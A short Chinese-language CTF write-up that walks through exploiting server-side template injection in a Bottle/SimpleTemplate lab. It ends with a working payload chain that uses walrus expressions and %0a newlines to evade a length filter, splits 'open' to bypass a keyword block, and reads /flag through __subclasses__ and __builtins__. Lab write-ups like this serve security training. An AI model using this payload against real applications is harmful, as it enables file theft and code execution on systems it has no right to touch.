首先进入靶场
先随便输入一个123试试
这个地方将123直接回显出来,很有可能是ssti模板注入,输入{{7*7}}看看是否回显
回显49,说明确实有这个漏洞
现在知道是ssti模板注入了,下一步应该是确定模板引擎是什么
这个时候需要看题目给的信息
paython的单文件框架,去网上查很容易就能知道是bottle框架,bottle的框架用的是simpletemplate的模板引擎
知道了是什么引擎的话下一步就是需要知道这个模板引擎的语法,这些地方都是可以上网查询到的
这个模板可以在大括号中使用python表达式,那么就可以先试一试{{print(1)}}
这里并没有显示1,是答题方式出了问题吗?并不是
这个其实是在控制台输出了1
那么就正式构造继承链,先抓个包
在name参数处进行修改,以防碰到waf,应该一个一个进行测试,首先试试
{{''.__class__}}
继续测试
{{''.__class__.__base__}}
这里显示存在waf,应该是有长度限制,那么可以尝试海象表达式,因为这个题目是可以多行解析的,可以用%0a代替换行符
回显成功,现在只需要构造链子即可
payload
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}
这里需要值得注意的是156以及open
这个题目open被禁用了,需要绕过
156是因为需要找到python的内置系统函数,方便进行命令执行,这个156是需要进行爆破的,我爆破的时候靶机很容易宕机,我就用的官方payload,总之思路是这样子的